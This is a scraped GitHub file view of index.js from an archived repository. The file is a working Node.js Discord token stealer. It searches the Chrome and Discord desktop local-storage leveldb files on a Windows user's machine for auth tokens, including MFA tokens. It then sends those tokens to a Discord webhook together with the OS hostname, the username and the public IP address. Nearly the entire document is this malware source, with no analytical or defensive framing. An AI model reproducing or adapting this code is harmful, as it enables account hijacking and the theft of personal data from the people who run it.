This repository has been archived by the owner on May 7, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 100
/
Copy pathindex.js
112 lines (95 loc) · 3.87 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
//Dependencies
const Discord = require("discord.js")
const Public_IP = require("public-ip")
const Os = require("os")
const Fs = require("fs")
//Variables
const Webhook = new Discord.WebhookClient("WebhookID", "WebhookToken")
var Self_Data = {}
Self_Data.cdt = null
Self_Data.sdt = null
//Main
Main()
function Main(){
CDT()
function CDT(){
Fs.readdir(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb`, "utf8", function(err, files){
if(err){
SDT()
return
}
files.forEach(file =>{
if(file.indexOf("log") != -1){
const log_data = Fs.readFileSync(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\${file}`, "utf8")
const tokens = Array.from(log_data.matchAll(/(mfa\.[a-z0-9_-]{20,})|([a-z0-9_-]{23,28}\.[a-z0-9_-]{6,7}\.[a-z0-9_-]{27})/g))
var result_tokens = ""
if(tokens.length == 0){
Self_Data.cdt = "No discord tokens in chrome."
SDT()
return
}
for( i = 0; i <= tokens.length-1; i++ ){
if(result_tokens.indexOf(tokens[i][0]) == -1){
if(result_tokens.length == 0){
result_tokens = tokens[i][0]
}else{
result_tokens += `, ${tokens[i][0]}`
}
}
}
Self_Data.cdt = result_tokens
SDT()
return
}
})
})
}
function SDT(){
Fs.readdir(`C:\\Users\\${Os.userInfo().username}\\AppData\\Roaming\\discord\\Local Storage\\leveldb`, "utf8", function(err, files){
if(err){
Done()
return
}
files.forEach(file =>{
if(file.indexOf("log") != -1){
const log_data = Fs.readFileSync(`C:\\Users\\${Os.userInfo().username}\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\${file}`, "utf8")
const tokens = Array.from(log_data.matchAll(/(mfa\.[a-z0-9_-]{20,})|([a-z0-9_-]{23,28}\.[a-z0-9_-]{6,7}\.[a-z0-9_-]{27})/g))
var result_tokens = ""
if(tokens.length == 0){
Self_Data.sdt = "No discord tokens in discord software."
SDT()
return
}
for( i = 0; i <= tokens.length-1; i++ ){
tokens[i][0] = tokens[i][0].replace('"token":"', "")
tokens[i][0] = tokens[i][0].replace('"', "")
if(result_tokens.indexOf(tokens[i][0]) == -1){
if(result_tokens.length == 0){
result_tokens = tokens[i][0]
}else{
result_tokens += `, ${tokens[i][0]}`
}
}
}
Self_Data.sdt = result_tokens
Done()
return
}
})
})
}
async function Done(){
const IP = await Public_IP.v4()
Webhook.send("```" + `OS Type: ${Os.type()}
OS Platform: ${Os.platform()}
OS Hostname: ${Os.hostname()}
OS Username: ${Os.userInfo().username}
IP: ${IP}
Chrome discord tokens found: ${Self_Data.cdt}
Software discord tokens found: ${Self_Data.sdt}` + "```",).then(()=>{
process.exit()
}).catch(()=>{
process.exit()
})
}
}